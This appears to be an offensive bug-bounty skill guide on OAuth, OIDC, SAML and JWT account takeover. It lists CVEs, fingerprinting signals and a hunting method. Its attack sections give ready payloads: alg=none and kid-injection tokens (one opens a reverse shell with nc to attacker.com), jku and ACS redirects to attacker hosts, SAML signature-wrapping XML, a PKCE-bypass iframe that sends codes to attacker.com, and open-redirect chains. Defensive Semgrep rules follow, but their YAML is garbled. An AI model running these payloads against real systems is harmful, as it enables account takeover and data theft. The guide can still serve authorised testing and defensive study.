OAuth/OIDC/SAML/JWT is the universal entry point to every enterprise account. A single missing state check or loose redirect_uri regex turns into a one-click ATO and the program rates it Critical because the impact is multiplicative — once you ride someone's session, you have all their data, all their integrations, all their tokens. The 24-month meta has shifted decisively toward six asset types. All CVEs below verify against NVD.
1. MCP servers and agentic LLM OAuth (the new gold rush, 2025-2026 meta). Model Context Protocol servers exploded in adoption with broken OAuth implementations. CVE-2025-4143 (Cloudflare workers-oauth-provider missing redirect_uri validation, fixed v0.0.5) and CVE-2025-4144 (PKCE downgrade in same library) define the opening salvo. Obsidian Security's Square MCP one-click ATO (July-September 2025 disclosures, fixed late September 2025) showed anonymous-cookie injection chained with IdP consent caching. CVE-2025-6514 (mcp-remote OS command exec via crafted authorization_endpoint URL, 558,846 downloads affected, JFrog disclosure) and CVE-2025-49596 (Anthropic MCP Inspector unauth RCE, 38K weekly downloads). FastMCP OAuth Proxy missing resource validation (GHSA-5h2m-4q8j-pqpj) means tokens issued for one MCP server work against any MCP server sharing the same authorization server. Hunt MCP servers first — every developer is wiring up OAuth for the first time and getting it wrong.
2. SAML on enterprise SSO (parser-differential renaissance).CVE-2025-25291 + CVE-2025-25292 (ruby-saml signature wrapping via REXML/Nokogiri parser differential, ahacker1 + Peter Stöckli, GHSL-2024-329 + GHSL-2024-330, GitHub Security Lab) opened a critical hole in any Ruby app using SAML — including unauthenticated admin access to GitLab Enterprise as demonstrated by Gareth Heyes and Zakhar Fedotkin in PortSwigger's "SAML Roulette" research (March 2025). CVE-2025-46572 (passport-wsfed-saml2 SAML signature wrapping, Auth0/Okta), CVE-2025-47949 (samlify SAML signature wrapping, npm samlify < 2.10.0), CVE-2024-45409 (ruby-saml ahacker1 baseline). Pair this with Admidio SAML (GHSA-p9w9-87c8-m235 ACS URL injection, GHSA-25cw-98hg-g3cg signature validation result discarded — both 2026, high severity). Old SAML libraries on enterprise SSO are paying again.
3. JWT algorithm confusion (the regression class).CVE-2026-22817 (Hono JWT middleware RS256→HS256 confusion, CVSS 8.2, Cloudflare Workers/Deno/Bun ecosystem, fixed 4.11.4), CVE-2026-22818 (Hono JWK middleware untrusted header.alg fallback when JWK lacks , GHSA-3vhc-576x-3qv4), (cjwt C library RS/EC/PS algorithm confusion, fixed 2.3.0), (Authlib HMAC verification with asymmetric public key, milliesolem disclosure), (python-jose alg=none, disputed but real on configurations). Every JWT library that doesn't pin algorithms is exploitable. Greppable in 30 seconds with patterns.
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다.GitHub에서 보기
alg
CVE-2024-54150
CVE-2024-37568
CVE-2025-61152
verify_signature: False
jwt.verify(token, secret)
4. nOAuth and Entra ID identity confusion (Microsoft pays directly).CVE-2024-21632 (omniauth-microsoft_graph nOAuth, GHSA-5g66-628f-7cvj, fixed 2.0.0) is the canonical disclosed example of Descope's June 2023 nOAuth research — apps trusting the email claim from Entra ID get cross-tenant ATO. Semperis found 9% of Entra Gallery apps still vulnerable in June 2025; estimated 15,000+ SaaS apps still exposed. Descope earned $75K+ in coordinated bounties for the original nOAuth class. CVE-2025-55241 (Dirk-jan Mollema, Entra ID actor token cross-tenant Global Admin impersonation, CVSS 10.0, fixed July 17 2025) extended the class to Microsoft itself — any free Entra tenant could impersonate any user in any other tenant via the legacy Azure AD Graph API not validating the actort token's originating tenant. Hunt every "Sign in with Microsoft" button by registering a free Entra tenant and changing your email.
5. Authorization server implementations on managed identity platforms.CVE-2024-52289 (Authentik OAuth2 regex redirect_uri bypass via unescaped ., Lukas Omegapoint disclosure, fixed 2024.10.3 / 2024.8.5, GHSA-3q5w-6m3x-64gj), CVE-2024-23647 (Authentik PKCE downgrade by removing code_challenge, fixed 2023.10.7), CVE-2023-48228 (Authentik PKCE bypass by omitting code_verifier), CVE-2024-22258 (Spring Authorization Server PKCE downgrade for Confidential Clients, fixed 1.2.3 / 1.1.6 / 1.0.6), CVE-2026-32245 (tinyauth OIDC code not bound to client on token exchange, GHSA-xg2q-62g2-cvcm). These pay because deploying Keycloak/Authentik/Hydra/Auth0/Spring Auth Server is what every mid-size company does — find one bug, hit thousands of downstream apps.
6. GitOps controllers and Kubernetes OIDC.CVE-2025-55190 (Argo CD project API token retrieves repository credentials, CVSS 7.7, GHSA-786q-9hcg-v9ff, fixed 3.1.2/3.0.14/2.14.16/2.13.9), CVE-2026-23990 (Flux Operator Web UI impersonation bypass via empty OIDC claims, fixed 0.40.0, GHSA-4xh5-jcj2-ch8q), CVE-2026-40161 (Tekton git resolver leaks system Git API token to user-controlled serverURL, CVSS 8.4, GHSA-wjxp-xrpv-xpff). These pay the highest because compromising the GitOps controller gives you cluster-wide admin and supply-chain RCE in one chain.
7. The OAuth/SSO supply-chain — Salesloft Drift class. UNC6395 / ShinyHunters used stolen Drift OAuth tokens to exfiltrate 1.5 billion Salesforce records from 760 companies (August 2025). The pivot was: GitHub repo compromise → AWS access → Drift OAuth refresh tokens → Salesforce + Google Workspace. Cloudflare alone had 104 API tokens leaked through Salesforce support cases. Bug bounty correlate: hunt for third-party OAuth integrations with overscoped tokens and no rotation policy. Programs paying for SaaS connector misconfiguration include Atlassian, Notion, Slack, Asana, Monday — all tracked under their respective HackerOne programs.
Greppable / fingerprintable / scannable. Every signal below is tied to a specific product class and the resulting CVE candidate.
HTTP-level signals on a live target:
Set-Cookie: oauth2_state=, oauth_state=, __Host-state= → custom OAuth client → state CSRF candidate, test removal/replay
redirect_uri=https%3A%2F%2F in any 302 Location response → redirect_uri validation candidate (test substring/path/userinfo bypasses)
?state=, ?code=, &code=, #access_token=, #id_token= in URL → OAuth callback page — audit for third-party JS leakage (dirty dancing)
WWW-Authenticate: Bearer realm="MCP" or Bearer realm="..." → OAuth Resource Server / MCP server — fingerprint via RFC 9728 metadata at /.well-known/oauth-protected-resource
WWW-Authenticate: ... resource_metadata="..." → MCP 2025-11-25 spec compliant server — discover OAuth flow; test PKCE downgrade and audience confusion
Server: nginx-openid-connect, nginx-auth-request, oauth2-proxy/ → CVE-2025-54576 oauth2-proxy skip_auth_routes query param bypass candidate; CVE-2024-10318 NGINX OIDC nonce session fixation on the nginx-openid-connect family
302 from /login / /sso to /saml/sso/, /saml2/idp/SSOService, /idp/profile/SAML2/Redirect/SSO, /Shibboleth.sso/ → SAML SP — try ruby-saml CVE-2025-25291/25292 parser differential payload
wsfed, WS-Federation, passport-wsfed-saml2 in JS or HTML → CVE-2025-46572 candidate
kid header in JWT, especially numeric or path-like (../keys/admin) → kid SQLi / path traversal / command injection (Hacking JWT Tokens corpus references)
jku header in JWT pointing to attacker-influenceable URL → jku claim misuse — if JWKS URL not pinned, redirect to attacker JWKS
iss claim in JWT mismatching the actual issuer endpoint → CVE-2026-23552 cross-realm Keycloak token acceptance candidate
aud missing or aud=null in JWT → CVE-2025-27370 / CVE-2025-27371 OpenID Federation audience injection candidate; also CVE-2024-32687 Argo CD aud bypass family
Content-Type: application/x-www-form-urlencoded on /oauth/token → standard token endpoint; test code reuse, race condition (Anmol's $8500 finding pattern)
application/jwk+json, application/jose+json, application/jwt → JWE/JWS endpoints; test alg=none, alg=dir
Sec-Fetch-Dest: iframe allowed on /oauth/authorize (no X-Frame-Options: DENY, no Content-Security-Policy: frame-ancestors) → clickjacking on consent screen (Hacker One #3287060 WakaTime Double Clickjacking 2025) and PKCE bypass via attacker-iframe (trace37 2026)
JS / DOM signals (audit OAuth consent and callback pages for third-party scripts — Frans Rosén dirty-dancing):
<script src="https://www.googletagmanager.com/gtm.js", analytics.js, gtag.js on any page reachable in the OAuth flow → GTM/Analytics URL leak — location.href containing code= or access_token= is sent to third party; combine with response_type switching
window.opener.postMessage(, window.parent.postMessage( without explicit origin (* or no second arg) → postMessage origin check missing — exfil OAuth artifact via cross-origin window
<iframe src="https://chat.example.com/..."> chat widget on OAuth pages → chat-widget postMessage gadget (Detectify case study)
react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack in package.json or bundles + OAuth callback → CVE-2025-66478 / CVE-2025-55182 React2Shell on the OAuth callback handler (RCE on backend)
localStorage.getItem("access_token"), localStorage.setItem("oauth_token", sessionStorage["jwt"] in JS → token in webstorage — XSS becomes ATO
Source-code signals (ripgrep one-liners — see Source Review for the full set):
URL fragment — #access_token=, #id_token=, #code= from implicit flow or response_mode=fragment. JS on the callback page reads location.hash; if any third-party script also reads it → leak.
Headers — Authorization: Bearer, Authorization: DPoP, X-Forwarded-User, X-Auth-Request-Email, custom OIDC headers from reverse proxy. Try header injection at the backend after a reverse-proxy strips them. Also Origin: for CORS bypass on OAuth endpoints (Grab partner-api H1 #3631550 — null Origin reflected with credentials).
Body (form-urlencoded) — /oauth/token body parameters: grant_type, code, code_verifier, client_id, client_secret, refresh_token, redirect_uri, subject_token, subject_token_type, actor_token (RFC 8693 token exchange). PKCE downgrade → drop code_verifier. Race condition → Turbo Intruder 2 parallel exchanges with same code.
Body (JSON) — Dynamic Client Registration body: client_name, redirect_uris, grant_types, token_endpoint_auth_method, jwks, jwks_uri, software_statement. SSRF via jwks_uri pointing to internal IPs; supply-chain via redirect_uris: ["http://attacker"].
Body (XML / SAML) — <samlp:AuthnRequest> with attacker-controlled AssertionConsumerServiceURL (Admidio GHSA-p9w9-87c8-m235); <saml:Assertion> with signature wrapping (CVE-2025-25291). RelayState parameter (Lukas Omegapoint #2263044 user_saml).
Cookies — oauth2_proxy_csrf, __oauth_session, __Host-flow_state, XSRF-TOKEN for OAuth client. Anonymous-cookie injection via subdomain takeover (Obsidian Square MCP attack chain). Session fixation via cookie set before login.
JWT claims (mutable + verifiable both matter) — sub, email (nOAuth — never trust), email_verified, preferred_username, upn, iss, aud, azp, nonce, at_hash, c_hash, acr, amr, exp, nbf, actort (CVE-2025-55241 Entra ID), kid, jku, x5u, x5c. Always test aud removal and iss swap.
JWKS / metadata documents — jwks_uri points to https://attacker.example/.well-known/jwks.json; CIMD client_id as URL pointing to attacker-controlled JSON document (oauth-wg/draft-ietf-oauth-client-id-metadata-document #30 — server fetches arbitrary URL).
WebSocket / SSE auth — JWT in subprotocol, query string, or first JSON message after upgrade. Often skipped by middleware that only checks initial HTTP handshake.
Mobile custom URL schemes — com.example.app://oauth/callback registered as Android <intent-filter> or iOS URL Type. Malicious app on same device registers same scheme → intercepts code (Doyensec OAuth Common Vulnerabilities, January 2025). Universal Links / App Links not always mandatory, especially on legacy code.
Background / async paths — refresh token endpoint, token introspection (/introspect), token revocation (/revoke), userinfo (/userinfo), end_session_endpoint (RP-initiated logout). post_logout_redirect_uri is the open-redirect cousin everyone forgets — test it.
Indirect / agentic — MCP tool descriptions injected with prompt-injection payloads (Invariant Labs GitHub MCP, May 2025); Salesforce/HubSpot/Zendesk support-case bodies that an OAuth-connected automation reads (Salesloft Drift August 2025); LangChain RAG context that the agent treats as tool instructions.
Step-by-Step Hunting Methodology
Map the OAuth flow with Burp. Log into the application, watch every request to /oauth/, /auth/, /saml/, /sso/, /.well-known/, /connect/, /oidc/. Record client_id, redirect_uri, response_type, response_mode, state, nonce, code_challenge, code_challenge_method. If state is missing → test CSRF immediately. If code_challenge is missing on a public client → flag PKCE absence (CVE-2024-23647 family). If you see SAML, capture both <AuthnRequest> and <Response> bodies — these go to the SAML wrapping tests later.
Fingerprint the authorization server. Hit /.well-known/openid-configuration, /.well-known/oauth-authorization-server, /.well-known/oauth-protected-resource, /oauth/authorize, /oauth/.well-known/jwks.json, /saml/metadata, /.well-known/saml-configuration. The software field, issuer, supported grant types (look for password ROPC, client_credentials, urn:ietf:params:oauth:grant-type:token-exchange), token_endpoint_auth_methods_supported, code_challenge_methods_supported — all of these reveal the AS implementation. Authentik metadata leaks goauthentik strings; Keycloak leaks realm-shaped paths; Auth0 leaks *.auth0.com; Cognito has the cognito-idp.<region>.amazonaws.com issuer. If you see password in grant_types_supported and the AS is internet-exposed → ROPC credential spray (Grab H1 #3635703 concedoidc).
Test redirect_uri validation — the 12 bypass families. Send the original auth request to Burp Repeater. Mutate redirect_uri through this sequence: (a) substring https://target.com.attacker.com; (b) userinfo https://attacker.com@target.com; (c) IDN https://tаrget.com (Cyrillic а); (d) path traversal https://target.com/callback/../../../@attacker.com; (e) URL encoding https%3A%2F%2Fattacker.com; (f) double encoding https%253A%252F%252Fattacker.com; (g) fragment https://target.com/callback#@attacker.com; (h) localhost http://127.0.0.1:80@attacker.com; (i) IPv6 http://[::1]@[::1]@attacker.com (Google bypass per @weirdmachine 2025); (j) regex unescaped dot https://app0example.com/oauth2/callback (CVE-2024-52289 Authentik); (k) wildcard subdomain takeover; (l) any open redirect on the same domain with ?next=https://attacker.com. If any returns 302 to your destination with code= or access_token= → critical, but verify the code is bound to a real victim before reporting (deliver via iframe to admin user, never to yourself).
Break the state parameter intentionally (Frans Rosén dirty dancing). With a Burp-modified flow, switch response_type=code to response_type=code,id_token or response_type=token. Switch response_mode=query to response_mode=fragment or response_mode=form_post. Send your tainted state to a victim — if the victim's browser completes the flow but the website rejects state, the code lands at the OAuth provider but is never consumed. The window between code issuance and expiry is yours to use. Then audit every page reachable in the OAuth dance for third-party JS (GTM, analytics, chat widgets, session replay). Any postMessage listener with no origin check, any location.href read by a third-party, any target=_blank link with no rel=noopener — these become the leak gadget.
PKCE downgrade testing — three variants. Variant 1: drop code_verifier from /oauth/token body — CVE-2023-48228 Authentik. Variant 2: drop code_challenge from the initial authorization request — CVE-2024-23647 Authentik, Spring Authorization Server CVE-2024-22258 for confidential clients only. Variant 3 (Cloudflare workers-oauth-provider CVE-2025-4144 family): omit PKCE from authorization but include code_verifier in token exchange — fail-open libraries accept it. Variant 4 (trace37 2026): you control the authorization URL via iframe/popup, so you choose the code_challenge and you know the code_verifier — PKCE only protects against in-transit interception, not against initiation control. If iframe-able + auto-login → the PKCE protection collapses; chain with postMessage capture for one-click ATO.
JWT algorithm confusion — three variants. Variant 1: change alg to none, strip signature, send. Variant 2: change alg from RS256 to HS256, sign payload with the public key as HMAC secret using jwt_tool -X k -pk public.pem -p public.pem. Variant 3: change alg to none with case variation nOnE, NoNE, NULL, None (CVE-2026-22817 Hono family). Variant 4 (Hono CVE-2026-22818): if JWKS endpoint returns keys without alg field → middleware falls back to header alg → algorithm confusion. Test with kid injection: kid: ../../../../dev/null (forces empty key → HMAC with empty string), kid: ../../../etc/passwd, kid: 1' UNION SELECT 'attacker_key. Test jku redirect: change jku to attacker JWKS URL with same kid. If aud is empty or missing → cross-service relay (CVE-2025-27370 / CVE-2025-27371 OpenID Federation class); replay tokens from one service against another in the same federation.
SAML signature wrapping and parser differentials. Capture a valid <SAMLResponse> from your own login. Use SAML Raider Burp extension. Variant 1 (XSW10): wrap original <Assertion> in attacker-controlled assertion; copy original <Signature> referencing original; many SPs canonicalize first child only. Variant 2 (CVE-2025-25291 ruby-saml DOCTYPE): inject DOCTYPE <!DOCTYPE x [<!ATTLIST y z 'value'>]> that REXML and Nokogiri parse differently — REXML validates signature on one node, Nokogiri reads attributes from another. Variant 3 (CVE-2025-25292 ruby-saml namespace): redefine xmlns:ds to point at a fake <ds:Signature> Nokogiri reads while REXML reads original. Variant 4 (CVE-2026-22-class missing destination check): use any valid signed assertion from any tenant of the IdP, modify NameID to victim, send (Admidio GHSA-25cw-98hg-g3cg discards validateSignature() return value entirely). Variant 5 (CVE-2025-46572 passport-wsfed-saml2): obtain any single signed SAML assertion from same IdP, replace user identity. If the SP's library is ruby-saml, samlify, passport-wsfed-saml2, python3-saml, php-saml, simplesamlphp, omniauth-saml → version check first; out-of-date is a confirmed crit.
nOAuth and identity-confusion testing on Microsoft "Sign in with Microsoft". Create a free Entra ID tenant (free.azure.microsoft.com). Add yourself as a user, set mail attribute to victim's email address (no domain verification required for the tenant, only for emitting the email claim — but CVE-2024-21632 omniauth-microsoft_graph style apps don't check xms_edov). Now log in to the target with "Sign in with Microsoft" using your Entra account. If the application uses email claim (not sub or oid) for account lookup → ATO. Variant: app uses preferred_username or upn → still ATO if mutable. If app already has a victim's account, account-merge logic completes the takeover (Descope nOAuth original disclosure, Semperis 9% of Entra Gallery apps still vulnerable June 2025).
Race-condition testing on token endpoints (Anmol $8500 P1 pattern, disclosed via HackerOne https://infosecwriteups.com/how-i-hijacked-oauth-tokens-through-a-parallel-auth-flow-race-condition-8500-p1-bug-bounty-7af1cccc4d4c). Identify /oauth/token, /sso/token, /auth/exchange, GraphQL exchangeToken mutations. Get a valid authorization_code (don't consume it yet). Use Turbo Intruder with single-packet attack (HTTP/2): submit 50 parallel token-exchange requests with the same code and 50 different code_verifier values. RFC 6749 §4.1.2 says codes are single-use; many implementations check-then-use without locking. If 2+ requests return valid access_token → race-condition token mint, P1 by H1 standards if the second token is for a different session.
Audit OAuth endpoints for OWASP API issues — even on stock implementations, the surrounding endpoints often have separate bugs. Test /oauth/clients (admin-only?), /oauth/applications/<id> (IDOR — H1 disclosed multiple), /account/integrations/<provider> (CSRF on OAuth linking — Bugcrowd #503922 family), /connections/<id>/disconnect (CSRF on OAuth unlinking → DOS account by unlinking SSO — H1 #976603), token introspection /introspect without client auth (Grab H1 #3635703 RFC 7662 violation). Test scope upgrade in token exchange (request narrower scope at auth, request wider scope at token exchange — should fail per RFC, often doesn't).
MCP-specific OAuth methodology (the 2025-2026 meta). For any MCP server (URL ends in /mcp, /.well-known/oauth-protected-resource, WWW-Authenticate: Bearer realm="MCP"): (a) check redirect_uri validation on /authorize (CVE-2025-4143); (b) test PKCE downgrade (CVE-2025-4144); (c) check that the issued token's audience binds to this MCP server, not a shared base URL (FastMCP GHSA-5h2m-4q8j-pqpj); (d) audit /register Dynamic Client Registration for SSRF via jwks_uri and for arbitrary redirect_uris (n8n GHSA-f6x8-65q6-j9m9); (e) test session-cookie injection via subdomain (Obsidian Square MCP); (f) check whether the MCP server validates the resource parameter per RFC 8707; (g) check whether OAuth metadata at /.well-known/oauth-protected-resource is HTTPS-pinned and the path-suffixed URL matches. The MCP 2025-11-25 spec mandates OAuth 2.1; most servers ship something looser.
Final pre-submission validation (Gate 0). Demonstrate the bug end-to-end against a victim account you control (your second account, alt admin user, or H1's invited test admin). Capture Burp request/response for the auth request, the leaked code/token, and the privileged action that proves session ride. Record asciinema or 30-60s mp4. Verify scope: target asset is in-scope today, not yesterday. Re-run the exploit one hour before submission to confirm it still works (programs frequently silent-patch OAuth bugs). Write the impact statement: "X user data accessible / Y financial transactions executable / Z admin capability." If you can't write that sentence with concrete data, you have a finding, not a report.
Sub-technique B — state / CSRF / response-type manipulation (dirty dancing)
# B.1 Response-type switching — fragment leakage of code
&response_type=code&response_mode=query # baseline (good)
&response_type=token&response_mode=fragment # implicit, leaks #access_token
&response_type=code,id_token&response_mode=fragment # hybrid → code lands in fragment
&response_type=code id_token token&response_mode=fragment # OIDC hybrid all-in-fragment
&response_type=token&response_mode=form_post # form_post can be replayed if attacker controls callback page
# B.2 State parameter attacks (RFC 6749 §10.12)
# B.2.a Drop state entirely — CSRF
&state= # empty
# omitted entirely
# B.2.b Fixate state — Anmol's H1 corpus pattern, also bugbounty.ch May 2023 case
&state=attacker_known_value
# B.3 Force browser swap (SySS Jonas Primbs Browser Swapping IETF 124, 2025-11)
# Attacker initiates flow in Browser A, sends auth URL to victim, victim completes in Browser B
# AS sends code to client; client rejects state mismatch but doesn't invalidate code → attacker uses code
# B.4 nonce removal — OIDC ID Token replay (CVE-2024-10318 NGINX OIDC)
&nonce= # empty
# omitted on subsequent replay
# B.5 prompt=none silent re-authentication (use after one consent for unlimited code minting)
&prompt=none&max_age=0
Sub-technique C — JWT attack primitives
# C.1 alg=none variants (CVE-2025-61152 python-jose, CVE-2026-22817 Hono case-bypass)
{"alg":"none","typ":"JWT"}.{"sub":"victim","role":"admin"}.
{"alg":"None","typ":"JWT"}...
{"alg":"nOnE","typ":"JWT"}...
{"alg":"NULL","typ":"JWT"}...
# C.2 RS256 → HS256 algorithm confusion (CVE-2024-54150 cjwt, CVE-2024-37568 authlib)
# Step: extract public key from JWKS endpoint /.well-known/jwks.json
# Step: jwt_tool -X k -pk public.pem -p attacker_payload.txt → forge HS256 token signed with PEM as secret
# C.3 kid injection (Hacking JWT Tokens corpus refs in /tmp corpus)
{"alg":"HS256","kid":"../../../dev/null","typ":"JWT"} # forces empty key → sign with empty string
{"alg":"HS256","kid":"key' UNION SELECT 'attacker_key' --","typ":"JWT"} # SQLi in kid lookup
{"alg":"HS256","kid":"|nc attacker.com 4444 -e /bin/sh","typ":"JWT"} # command injection
# C.4 jku redirection (Hacking JWT Tokens: jku Claim Misuse — corpus titles)
{"alg":"RS256","jku":"https://attacker.com/jwks.json","kid":"attacker"}
{"alg":"RS256","jku":"https://target.com#@attacker.com/jwks.json","kid":"attacker"} # userinfo bypass on jku
# C.5 Audience confusion / cross-service relay (CVE-2025-27370/27371 OpenID Federation)
{"aud":"","iss":"https://target/idp"} # empty audience → many libs accept all
{"aud":["target","alt-service"],"iss":"https://target/idp"} # token replays across services
# C.6 Embedded JWK (Hacking JWT Tokens: JWS Standard for JWT)
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_n>","e":"AQAB"}} # libs that trust embedded JWK = forge anything
# C.7 Entra ID actor token (CVE-2025-55241 Dirk-jan Mollema)
# Outer token: legitimate-looking request to victim tenant SharePoint with victim_oid
# Inner token in actort claim: attacker's own free-tenant token
# Result: cross-tenant Global Admin impersonation
# C.8 njwt buffer poisoning (corpus: `njwt` allocates uninitialized Buffers when number is passed in base64urlEncode)
require('njwt').create({sub:'victim'}, 0).compact() # number arg → uninitialized buffer leak
Sub-technique D — SAML signature wrapping primitives (XSW1 through XSW8 + ruby-saml class)
<!-- D.1 XSW1 — wrap original assertion, copy original signature --><samlp:Response><saml:AssertionID="evil"><Subject><NameID>attacker</NameID></Subject><ds:Signature>...original ref to legit ID...</ds:Signature><saml:AssertionID="legit"><Subject><NameID>victim</NameID></Subject></saml:Assertion></saml:Assertion></samlp:Response><!-- D.2 ruby-saml DOCTYPE parser differential (CVE-2025-25291, ahacker1 GHSL-2024-329) --><!DOCTYPE samlp:Response [
<!ATTLIST saml:Assertion IDID#IMPLIED><!ENTITY x "data">
]><!-- REXML truncates ATTLIST and validates signature on assertion ID="real"; Nokogiri reads attacker-injected ID="evil" --><!-- D.3 ruby-saml namespace confusion (CVE-2025-25292, @p- GHSL-2024-330, PortSwigger SAML Roulette) --><samlp:Responsexmlns:ds="evil-ns"><ds:Signature>...</ds:Signature><!-- Nokogiri reads under evil-ns --><ds:Signature>...</ds:Signature><!-- REXML reads default-ns (signs original) --></samlp:Response><!-- D.4 ACS URL injection (Admidio GHSA-p9w9-87c8-m235) --><samlp:AuthnRequestAssertionConsumerServiceURL="https://attacker.com/acs"Destination="https://idp.target/sso"><!-- D.5 OneUptime multi-assertion (GHSA-5w5c-766x-265g) --><saml:Assertion><Subject><NameID>attacker</NameID></Subject></saml:Assertion><!-- assertion[0] read by getEmail --><saml:AssertionID="signed"><Signature>...</Signature><Subject><NameID>legit</NameID></Subject></saml:Assertion><!-- D.6 Comment injection in NameID (XSW classic — Cisco Duo et al historical) --><saml:NameID>attacker@target.com<!---->.victim@target.com</saml:NameID><!-- some parsers truncate at comment -->
Sub-technique E — PKCE bypass primitives
# E.1 Drop code_verifier from token request (CVE-2023-48228 Authentik)
POST /oauth/token
grant_type=authorization_code&code=<code>&client_id=<id>
# (no code_verifier)
# E.2 Drop code_challenge from authorization request (CVE-2024-23647 Authentik, Spring CVE-2024-22258)
GET /oauth/authorize?response_type=code&client_id=<id>&redirect_uri=<uri>
# (no code_challenge / code_challenge_method)
# E.3 Cloudflare workers-oauth-provider bypass (CVE-2025-4144 — fixed in v0.0.5)
# Auth request without code_challenge → token request WITH code_verifier was accepted
GET /authorize?response_type=code&client_id=...&redirect_uri=...
# (no code_challenge)
POST /token
grant_type=authorization_code&code=<code>&code_verifier=anything_random
# E.4 PKCE bypass via attacker-controlled URL (trace37 labs Feb 2026)
# Attacker iframes the SSO authorize URL; supplies own code_challenge; knows code_verifier
# Captures the resulting code via MessagePort injection or parent.postMessage
# PKCE only protects in-transit; not against initiation-control
<iframe src="https://idp.target.com/authorize?...&code_challenge=ATTACKER_HASH&code_challenge_method=S256"></iframe>
window.addEventListener('message', e => fetch('https://attacker.com/leak?'+e.data));
# E.5 Authorization code injection (RFC 9700 §4.5.3.1)
# Attacker initiates own session, gets own code; injects victim's code into attacker's session
# Even with PKCE, if attacker controls victim's code_challenge value → injection works (RFC 9700 §4.5.3.2)
Sub-technique F — open redirect → OAuth ATO chains
# F.1 Logout redirect (lovable.dev H1 #3581815, post_logout_redirect_uri family)
/logout?redirect=https://attacker.com
/oauth/end_session?post_logout_redirect_uri=https://attacker.com
/saml/slo?RelayState=https://attacker.com # H1 #2263044 user_saml
# F.2 Login next-parameter post-auth landing (commonly named: next, returnTo, returnUrl, callback, redirect, dest, redir, url)
/login?next=https://attacker.com&continue=https://attacker.com
/auth/login?ReturnUrl=https://attacker.com # bountysecurity.ai .NET ReturnUrl pattern, ovofinansial CRA pattern
/sso?returnTo=https://attacker.com
# F.3 Path-traversal bypass (lovable.dev H1 #3599248 fix bypass via /..//)
/..//logout?redirect=https://attacker.com # bypass naive same-origin check
/logout?redirect=//attacker.com # protocol-relative → browsers add current scheme
/logout?redirect=https:attacker.com # missing slashes — some libs accept
# F.4 OAuth-callback chain — open redirect on the redirect_uri's host
# 1. Find redirect_uri = https://app.target.com/oauth/callback (whitelisted)
# 2. Find open redirect at https://app.target.com/redir?url=ATTACKER (same host, not OAuth-related)
# 3. Set redirect_uri = https://app.target.com/redir?url=https://attacker.com/grab
# 4. AS validates "starts with target.com" → 302 to /redir → 302 to attacker.com with code
# F.5 Referer-leak chain (image injection on rockstargames H1 #314814, semrush #314814)
# Set redirect_uri to an HTML page on whitelisted domain that loads <img src="https://attacker.com/...">
# Referer header to attacker.com contains the OAuth code/token in the URL of the hosting page
Source Code Review Patterns
Semgrep rules (≥3, copy-pasteable YAML)
rules:-id:oauth-state-not-validatedpattern-either:-pattern:$REQ.query.code-pattern:$REQ.query['code']pattern-not-inside:|
if (... $REQ.query.state ...) { ... }
message:|
OAuth callback handler reads `code` without validating `state` parameter.
Per RFC 6749 §10.12, state MUST be validated against the value stored
at flow initiation. Missing this check = CSRF on OAuth linking, leading
to account takeover (bugbounty.ch May 2023, H1 #850022 launchpad CSRF).
severity:ERRORlanguages: [javascript, typescript]
rules:-id:oauth-email-as-user-identifierpattern-either:-pattern:User.findOne({email:$CLAIMS.email})-pattern: User.find_or_create_by(email:$CLAIMS.email)-pattern: db.users.where(email:$CLAIMS["email"]).firstmessage:|
Email claim used as primary user identifier. Vulnerable to nOAuth
(CVE-2024-21632 omniauth-microsoft_graph, Descope 2023). Microsoft
Entra emits unverified email claims by default for pre-June-2023 apps.
Use the immutable `sub` claim or Entra's `oid` claim instead.
For Microsoft tokens, also check `xms_edov` claim before trusting email.
severity:ERRORlanguages: [ruby, javascript, typescript, python, go]
rules:-id:oauth-redirect-uri-substring-validationpattern-either:-pattern:$URI.startsWith($ALLOWED)-pattern:$URI.includes($ALLOWED)-pattern:$ALLOWEDin$URI-pattern:re.match(r'.*'+$ALLOWED+'.*',$URI)metavariable-regex:metavariable:$URIregex:.*redirect.*message:|
redirect_uri validated by substring match. Bypass with userinfo
`https://allowed.com@attacker.com`, IDN homograph, or subdomain
`https://allowed.com.attacker.com`. Per RFC 6749 §3.1.2.2, exact-match
against pre-registered URIs is required. Authentik CVE-2024-52289
(regex with unescaped dot) is the disclosed real-world example.
severity:ERRORlanguages: [javascript, typescript, python, ruby, go]
rules:-id:oidc-code-not-bound-to-clientpattern:|
def $TOKEN_HANDLER(...):
...
$ENTRY = code_storage.get($CODE)
...
return generate_token($ENTRY.user, ...)
pattern-not:|
if $ENTRY.client_id != $REQ.client_id: ...
message:|
Authorization code redeemed without verifying the redeeming client
matches the client the code was issued to. Per RFC 6749 §4.1.3,
this binding is mandatory. CVE-2026-32245 tinyauth had this exact
bug — refresh-token flow had the check, auth-code flow did not.
severity:ERRORlanguages: [python, go, ruby, javascript]
rules:-id:saml-signature-validate-discardedpattern-either:-pattern:$OBJ.validateSignature(...)-pattern:validate_signature(...)pattern-not-inside:|
$RESULT = ...
message:|
SAML signature validation result discarded — Admidio CVE-style
(GHSA-25cw-98hg-g3cg). validateSignature() returns string-on-error
instead of throwing, so unsigned/forged AuthnRequests slip through.
Always assign the result and check explicitly: `valid = validate(...)`.
severity:ERRORlanguages: [php, python, ruby, javascript]
CodeQL has shipped tutorials for OAuth/SAML auth bypass classes — the relevant base queries are js/insufficient-key-size, js/jwt-missing-algorithm-restriction, and py/jwt-missing-algorithm. Sketch a custom predicate for nOAuth: a RemoteFlowSource reaching a User.findBy(email=...) sink without an intermediate verification of email_verified or xms_edov claim should raise a query. The GitHub Security Lab securitylab.github.com/advisories/GHSL-2024-329_GHSL-2024-330_ruby-saml writeup documents the parser-differential predicate that found CVE-2025-25291 — adapt it as a generic XmlParser1.parse(input).descendant() != XmlParser2.parse(input).descendant() taint flow.
Modern Meta — Cloud-Native, CI/CD, OSS Pipeline
OAuth/OIDC/SAML/JWT primitives apply across the entire cloud-native stack — not just web apps.
GitHub Actions: workflows that authenticate to cloud via OIDC use id-token: write permission. Hunt for pull_request_target workflows that compose ${{ github.event.pull_request.head.repo.full_name }} into a script that requests OIDC tokens — script injection escalates to cloud IAM. The actions/github-script action mints OIDC tokens to any audience the workflow asks for; if a downstream workflow uses untrusted audience from PR input, it becomes a cross-org token. Salesloft Drift August 2025 incident showed PAT in GitHub repo + AWS via OIDC + Drift OAuth tokens as the supply-chain entrypoint that hit Cloudflare, Palo Alto, Zscaler and 757 others.
